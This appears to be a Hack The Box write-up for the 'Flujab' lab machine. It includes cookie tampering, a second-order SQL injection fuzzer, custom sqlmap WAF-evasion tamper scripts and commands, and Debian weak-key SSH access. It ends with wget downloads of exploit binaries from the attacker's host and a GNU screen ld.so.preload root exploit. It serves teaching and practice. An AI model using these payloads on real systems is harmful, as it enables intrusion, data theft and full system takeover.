Flujab - Hack The Box
Flujab was without a doubt one of the toughest HTB box. It’s got a ton of vhosts that force you to enumerate a lot of things and make sure you don’t get distracted by the quantity of decoys and trolls left around. The key on this box is to stay ‘in scope’ as the box author hinted at before the box was released, so that means enumerating two specific domains without getting distracted by all the other stuff on the box.
The hard part of the box is the SQL injection that forces you to exploit it manually or to write your own WAF evasion tamper scripts in SQLmap because the box author hardcoded some string substition in the code to defeat people blindly runnning sqlmap. This box is also rather unique because the output of the SQL queries is not seen on the web page where the query is sent but rather in an email received by SMTP, so we have to use a 2nd order SQL injection option in sqlmap or write custom code to handle this.
When I did the box, I initially found the information I was looking for in the database but overlooked at critical column in the table row that contained the next step for getting access to the box. Eventually I found the web administation panel and was able to get access via SSH, using keys generated by Debian’s weak PRNG. This was a vulnerability that I remembered when I did my OSCP.
The priv esc was a nice one also, thankfully one of the screen
binary seemed out of place a little bit which tipped me off otherwise it would have taken me much longer to find it.
Summary
- Enumerate all the vhosts (based on the information in the SSL certificate’s SAN), concentrating only on
freeflujab.htb
- Observe that the page sets a
Modus
cookie with a path of/?smtp_config
- Figure out that the Cookie is just a base64 encoded value of
Configure=Null
, and that we can change it to aTrue
- Use the SMTP administration panel to set the SMTP server IP to our own IP address
- Find that the
?remind
,?cancel
, and?book
pages send an email which we can receive by running a local SMTP server on our machine - The webpage code contains a Boolean Blind SQL injection and a Union based SQL injection, both of which can be exploited through the email responses
- There is a WAF in place that will block certain SQL keywords like
CASE
,0x
andALL
so we need to use tamper scripts to bypass that - After dumping the
vaccinations
database, we find an entry in theadmin
table containing the administration panel URL - We can log in to the web admin panel using the credentials found in the database, then we have read access to files on the filesystem
- There is a user
drno
which has anauthorized_keys
file in his folder, and there is a note in/etc/ssh/deprecated_keys
that mentions old weak keys - This leads to one of Debian’s old vulnerability where a weak PRNG can be exploited for recovering private keys based on the public key’s signature
- After recovering the private key, log in as
drno
then eventually find thescreen
version running is vulnerable to a local privilege escalation
Tools/Blogs used
Detailed steps
Port scan
Starting with the usual portscan, we only find a handful of ports open on this machine: 22, 80, 443 and 8080.
# nmap -p- -sC -sV 10.10.10.124
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 22:20 EST
Nmap scan report for clownware.htb (10.10.10.124)
Host is up (0.019s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh?
80/tcp open http nginx
|_http-server-header: ClownWare Proxy
|_http-title: Did not follow redirect to https://clownware.htb/
443/tcp open ssl/http nginx
|_http-server-header: ClownWare Proxy
|_http-title: Direct IP access not allowed | ClownWare
|_http-trane-info: Problem with XML parsing of /evox/about
| ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK
| Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb
| Not valid before: 2018-11-28T14:57:03
|_Not valid after: 2023-11-27T14:57:03
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp open ssl/http nginx
|_http-server-header: ClownWare Proxy
|_http-title: Direct IP access not allowed | ClownWare
| ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK
| Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb
| Not valid before: 2018-11-28T14:57:03
|_Not valid after: 2023-11-27T14:57:03
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
The first thing I noticed is the certificate Subject Alternative Name field that contains many different domains and sub-domains. I added those to my local host file so I could enumerate all those vhosts.
The other item I noted was the SSH service didn’t respond with a banner. I manually checked and confirmed that even through port 22 is open, there is no response sent back by the server. This would likely indicate either a “fake/troll service” running on this port or perhaps a whitelist wrapper of some sort configured on the port.
Web enumeration
This box contains a large amount of vhosts as shown in the certificate SAN:
- clownware.htb
- sni147831.clownware.htb
- proxy.clownware.htb
- console.flujab.htb
- sys.flujab.htb
- smtp.flujab.htb
- vaccine4flu.htb
- bestmedsupply.htb
- custoomercare.megabank.htb
- flowerzrus.htb
- chocolateriver.htb
- meetspinz.htb
- rubberlove.htb
- freeflujab.htb
- flujab.htb
The box creator gave a small public hint in the HTB forums just before the box was released:
The mindset of this box is designed as follows:
Treat it as a box a pentester may be tasked to look at on the real internet.
Think of the box name as a kind of scope.
So based on the name of box, I narrowed my search to the flujab.htb
and freeflujab.htb
domains. But just for sake of completeness, the following section contains the useless websites and trolls I found on the box.
Useless websites and trolling
bestmedsupply.htb
chocolateriver.htb
custoomercare.megabank.htb
flowerzrus.htb
meetspinz.htb
rubberlove.htb
vaccine4flu.htb
console.flujab.htb
Non-functional SMTP website
The smtp.flujab.htb
website contains a login form, this looks very interesting… Or not as it turns out.
I thought there was a SQL injection of some sort on there but I quickly saw that the form doesn’t do anything when you click to sign in. When we look at the code, we can see that it’s badly broken and doesn’t do anything when we submit the form.
The api
call shown above is missing the closing parantheses, plus other functions are missing such as shown_modal_error(). This whole code is basically useless. I tried fuzzing the site to find a hidden API endpoint but didn’t find any.
I found a /README
file on the site that confirmed that this site is no longer used:
-------------------------------------
This Service has been decommissioned!
-------------------------------------
Administrators can now use the configuration
section of the new free service application.
Let’s move on to the freeflujab.htb
site.
Enumerating the real target website
The freeflujab.htb website is an healthcare information site about the Flu where patients can register, book, cancel or send a reminder for appoinments.
Registration: ?reg
The registration doesn’t work when registering a user, we can an error message about a connection error to the mailserver. The website errors out when it tries to send an email after the registration.
Booking: ?book
The booking page also doesn’t work for us because we don’t have a valid patient name to book an appointment.
Cancel: ?cancel
We can’t get to the cancelation page as it redirects us to ?ERROR=NOT_REGISTERED
automatically.
The next thing I did was check the cookies I had since the registration status must be stored in a session on the server-side or in a client cookie.
The content of the Modus
and Registered
cookies are simply Base64 encoded:
- Modus:
Q29uZmlndXJlPU51bGw%3D
=Configure=Null
- Patient:
ea879301202391042cd783affa29f92a
= - Registered:
ZWE4NzkzMDEyMDIzOTEwNDJjZDc4M2FmZmEyOWY5MmE9TnVsbA%3D%3D
=ea879301202391042cd783affa29f92a=Null
By changing the Registered
cookie to ea879301202391042cd783affa29f92a=True
, we are able to access the cancelation page:
But we get the same SMTP error message when trying to cancel an appointment:
Then I noticed in the cookies that there is a cookie set for the /?smtp_config
path. If we try to connect to it, we get redirected to https://freeflujab.htb/?denied
. But if we change the Configure=Null
cookie value to Configure=True
we are able to access the SMTP configuration page.
We can’t set the server address to our own IP address:
But the validation is performed client-side so we can just use Burp to change the smtp.flujab.htb
value for our IP address:
There’s also a link to see the whitelisted sysadmins but we get a denied redirection when we click on it. The problem is the Configure=True
cookie has been set to the /?smtp_config
path. If we change the path of the cookie to /
we can access the whitelist page.
Changing the SMTP server address adds our IP address automatically to the whitelist. Later this same whitelist is used to allow access to the web administation panel so if the box gets reverted, we need to go back to the SMTP configuration page and change the SMTP server address again otherwise our IP can’t access the admin panel.
Remind: ?remind
The last useful link on the page is used to send appointment reminders.
Now that we have configured a valid SMTP address, we can send a reminder (we can choose any NHS number, it doesn’t need to exist in the database)… But we get an error message:
The form doesn’t contain an email address field, but we can intercept the request with Burp and add it ourselves:
We can use the python smtpd module to run an SMTP server in Kali and receive the email:
SQL injection
The email itself doesn’t contain anything useful, so the next step is to fuzz the nhsnum
input and look for an SQL injection. Instead of doing it manually through Burp, I made a quick script to speed up the process.
#!/usr/bin/python
import requests
from pwn import *
import time
while True:
cmd = raw_input(">").strip()
headers = {
"Cookie": "Patient=ea879301202391042cd783affa29f92a;Registered=ZWE4NzkzMDEyMDIzOTEwNDJjZDc4M2FmZmEyOWY5MmE9VHJ1ZQ==",
}
data = {
"nhsnum": "{}".format(cmd),
"email": "test@test.com",
"submit": "Send+Reminder"
}
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080',
}
before = time.time()
r = requests.post(url="https://freeflujab.htb/?remind", headers=headers, data=data, verify=False, proxies=proxies)
after = time.time()
delta = after-before
print("Response time: {}".format(delta))
After fuzzing for a bit, I found a UNION based injection where the Ref:
field in the subject header contains the return value from the 3rd column.
I wanted to use sqlmap to enumerate the database but I had a problem since sqlmap doesn’t “see” the responses from the queries since they come by email through the SMTP server. So what I did was create a small script to pipe the content of Ref:
field in the Subject header to a file in my Apache server root directory:
from datetime import datetime
import asyncore
import re
from smtpd import SMTPServer
class EmlServer(SMTPServer):
no = 0
def process_message(self, peer, mailfrom, rcpttos, data):
filename = '/var/www/html/test.txt'
f = open(filename, 'w')
buf = data.splitlines()
for line in buf:
# print line
if 'Ref:' in line:
print line.split('Ref:')[1]
f.write(line.split('Ref:')[1])
f.close
print 'Message %d, %s saved.' % (self.no, filename)
self.no += 1
def run():
foo = EmlServer(('10.10.14.23', 25), None)
try:
asyncore.loop()
except KeyboardInterrupt:
pass
if __name__ == '__main__':
run()
Then I used the --second-url
option in sqlmap to make it check my local webserver for the query reponse. I added a tamper script first in the chain so it wipes the content of the reponse file, so that if the query errors out on the server it doesn’t cause a false positive.
delete.py
def tamper(payload, **kwargs):
retVal = payload
f = open('/var/www/html/test.txt', 'w')
f.write('')
f.close()
sleep(0.5)
return retVal
I then used the following sqlmap command: sqlmap --threads 1 -r /root/htb/flujab/flujab.req --risk=3 -p nhsnum --random-agent --proxy=http://127.0.0.1:8080 --second-url http://127.0.0.1/test.txt --tamper delete --force-ssl --technique u --union-cols 5 --union-char 1 -vv --suffix " #" --dbms=mysql --flush-session
But I had problems getting sqlmap working correctly, for some reason even when I gave it the correct number of columns it didn’t find the injection point.
Then I remembered that on some of the webpages there was a Protected By ClownWare.htb
message at the bottom. So I figured there was a WAF messing with some of the parameters sent to the server.
After playing with the queries manually, I found that ALL
, 0x
and CASE
keywords are modified by the server:
For the ALL
and 0x
statements, I used the unionalltounion
and 0x2char
tamper scripts already included in sqlmap but for CASE
I made my own script to replace it with an IF
statement:
case.py
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = retVal.replace("CASE WHEN", "IF(")
retVal = retVal.replace("THEN 1 ELSE 0 END", ",1,0)")
return retVal
The final sqlmap command is: sqlmap --threads 1 -r /root/htb/flujab/flujab.req --risk=3 -p nhsnum --random-agent --proxy=http://127.0.0.1:8080 --second-url http://127.0.0.1/test.txt --tamper delete --force-ssl --technique u --union-cols 5 --union-char 1 -vv --suffix " #" --dbms=mysql --tamper unionalltounion --tamper 0x2char --tamper case
It’s not fast but after a few minutes it found the injection point:
Now that we have the injection working in sqlmap, I was able to dump the list of databases:
[*] information_schema
[*] MedStaff
[*] mysql
[*] openmrs
[*] performance_schema
[*] phplist
[*] vaccinations
The vaccinations
database contains the following tables:
+------------------------+
| user |
| admin |
| admin_attribute |
| admin_password_request |
| adminattribute |
| admintoken |
| eventlog |
[...]
I dumped the admin
table and found some credentials and a vhost that I previously didn’t have: sysadmin-console-01.flujab.htb
The hash was easily cracked with john and rockyou.txt:
- sysadm / th3doct0r
Access to the SMTP configuration page
The admin panel is running the Ajenti application:
We can log in with the sysadm
credentials we found in the database, and we can use the Notepad tool to read & write files:
The /home/drno
folder contains two interesting files in the .ssh
directory:
The userkey
file contains an encrypted SSH private key that we can crack with ssh2john / john (password: shadowtroll) but we can’t use it because it doesn’t match the authorized_keys
file. authorized_keys
contains a hint about whitelisting but other than that it doesn’t seem possible to exploit this since we don’t have the matching private key.
# shell whitelisting + key auth enabled
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqTfCP9e71pkBY+uwbr+IIx1G1r2G1mcjU5GsA42OZCWOKhWg2VNg0aAL+OZLD2YbU/di+cMEvdGZNRxCxaBNtGfMZTTZwjMNKAB7sJFofSwM29SHhuioeEbGU+ul+QZAGlk1x5Ssv+kvJ5/S9vUESXcD4z0jp21CxvKpCGI5K8YfcQybF9/v+k/KkpDJndEkyV7ka/r/IQP4VoCMQnDpCUwRCNoRb/kwqOMz8ViBEsg7odof7jjdOlbBz/F9c/s4nbS69v1xCh/9muUwxCYtOxUlCwaEqm4REf4nN330Gf4I6AJ/yNo2AH3IDpuWuoqtE3a8+zz4wcLmeciKAOyzyoLlXKndXd4Xz4c9aIJ/15kUyOvf058P6NeC2ghtZzVirJbSARvp6reObXYs+0JMdMT71GbIwsjsKddDNP7YS6XG+m6Djz1Xj77QVZbYD8u33fMmL579PRWFXipbjl7sb7NG8ijmnbfeg5H7xGZHM2PrsXt04zpSdsbgPSbNEslB78RC7RCK7s4JtroHlK9WsfH0pdgtPdMUJ+xzv+rL6yKFZSUsYcR0Bot/Ma1k3izKDDTh2mVLehsivWBVI3a/Yv8C1UaI3lunRsh9rXFnOx1rtZ73uCMGTBAComvQY9Mpi96riZm2QBe26v1MxIqNkTU03cbNE8tDD96TxonMAxE=
However after looking for a bit, I found the /etc/ssh/deprecated_keys
directory that contains the following files:
README.txt has the following message:
Copies of compromised keys will be kept here for comparison until all staff
have carried out PAM update as per the surgery security notification email.
!!! DO NOT RE-USE ANY KEYS LINKED TO THESE !!!
UPDATE..
All bad priv keys have now been deleted, only pub keys are retained
for audit purposes.
I remember from my OSCP days that there was a vulnerability in an old Debian release where:
All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected.
Debian OpenSSL Predictable PRNG
So basically we just need to look through the repo and find the matching private key for DrNo’s public key.
Getting the public key fingerprint:
root@ragingunicorn:~/htb/flujab# ssh-keygen -l -E md5 -f 5.pub | tr -d ":"
4096 MD5dead0b5b829ea2e3d22f47a7cbde17a6 drno@flujab.htb (RSA)
Finding the matching private key:
root@ragingunicorn:~/debian-ssh# ls -lR | grep dead0b5b829ea2e3d22f47a7cbde17a6
-rw------- 1 root root 3239 May 14 2008 dead0b5b829ea2e3d22f47a7cbde17a6-23269
-rw-r--r-- 1 root root 740 May 14 2008 dead0b5b829ea2e3d22f47a7cbde17a6-23269.pub
root@ragingunicorn:~/debian-ssh# find ./ -name dead0b5b829ea2e3d22f47a7cbde17a6-23269
./uncommon_keys/rsa/4096/dead0b5b829ea2e3d22f47a7cbde17a6-23269
We still can’t connect to the SSH service though, we need to fix that first. The /etc/ssh/sshd_wl
file is a whitelist that can be modified so we can add our IP address.
We can then log in with private key from drno
:
root@ragingunicorn:~/debian-ssh/uncommon_keys/rsa/4096# ssh -i dead0b5b829ea2e3d22f47a7cbde17a6-23269 drno@10.10.10.124
Linux flujab 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
rbash: dircolors: command not found
drno@flujab:~$ cat user.txt
c519aa...
Privesc
We seem to be stuck in a rbash restricted shell, we need to escape that first:
drno@flujab:~$ ls -l/
user.txt
drno@flujab:~$ cat user.txt
c519aa...
drno@flujab:~$ cd ..
rbash: cd: restricted
Escape is easy with -t bash --norc --noprofile
:
root@ragingunicorn:~/debian-ssh/uncommon_keys/rsa/4096# ssh -i dead0b5b829ea2e3d22f47a7cbde17a6-23269 drno@10.10.10.124 -t bash --norc --noprofile
bash-4.4$ cd /
bash-4.4$ ps
PID TTY TIME CMD
1151 pts/0 00:00:00 bash
1152 pts/0 00:00:00 ps
bash-4.4$ whoami
drno
bash-4.4$ id
uid=1000(drno) gid=1000(drno) groups=1000(drno),1002(super),1003(medic),1004(drugs),1005(doctor)
Two copies of the screen program were found on the system, the 2nd one is suid so it will execute as root.
bash-4.4$ ls -l /usr/bin/screen
-rwSr-xr-x 1 root utmp 457608 Dec 9 22:02 /usr/bin/screen
bash-4.4$ ls -l /usr/local/share/screen/screen
-rwsr-xr-x 1 root root 1543016 Nov 27 13:49 /usr/local/share/screen/screen
‘S’ = setgid bit is set, but the execute bit isn’t set. ‘s’ = setgid bit is set, and the execute bit is set.
After checking the version, there is an exploit available for screen:
bash-4.4$ /usr/local/share/screen/screen --version
Screen version 4.05.00 (GNU) 10-Dec-16
https://www.exploit-db.com/exploits/41154
First, we’ll just compile the exploit:
root@ragingunicorn:/tmp# gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
Next, we upload it to the server:
bash-4.4$ cd /tmp
bash-4.4$ wget 10.10.14.23:4444/rootshell
--2019-01-30 03:27:16-- http://10.10.14.23:4444/rootshell
Connecting to 10.10.14.23:4444... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16824 (16K) [application/octet-stream]
Saving to: ‘rootshell’
rootshell 16.43K --.-KB/s in 0.008s
2019-01-30 03:27:16 (2.05 MB/s) - ‘rootshell’ saved [16824/16824]
bash-4.4$ wget 10.10.14.23:4444/libhax.so
--2019-01-30 03:27:25-- http://10.10.14.23:4444/libhax.so
Connecting to 10.10.14.23:4444... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16136 (16K) [application/octet-stream]
Saving to: ‘libhax.so’
libhax.so 15.76K --.-KB/s in 0.008s
2019-01-30 03:27:25 (1.94 MB/s) - ‘libhax.so’ saved [16136/16136]
bash-4.4$ chmod +x rootshell
Then execute it:
bash-4.4$ chmod +x rootshell
bash-4.4$ cd /etc
bash-4.4$ umask 000
bash-4.4$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
Directory '/run/screen' must have mode 755.
bash-4.4$ screen -ls
Directory '/run/screen' must have mode 755.
bash-4.4$ /tmp/rootshell
$
Uh? No root privileges?
Oh… I forgot to use the correct binary in /usr/local/share/screen
which is setuid. Let’s try again with the right path:
bash-4.4$ /usr/local/share/screen/screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
bash-4.4$ /usr/local/share/screen/screen -ls
No Sockets found in /tmp/screens/S-drno.
bash-4.4$ /tmp/rootshell
# id
uid=0(root) gid=0(root) groups=0(root),1000(drno),1002(super),1003(medic),1004(drugs),1005(doctor)
# cat /root/root.txt
70817...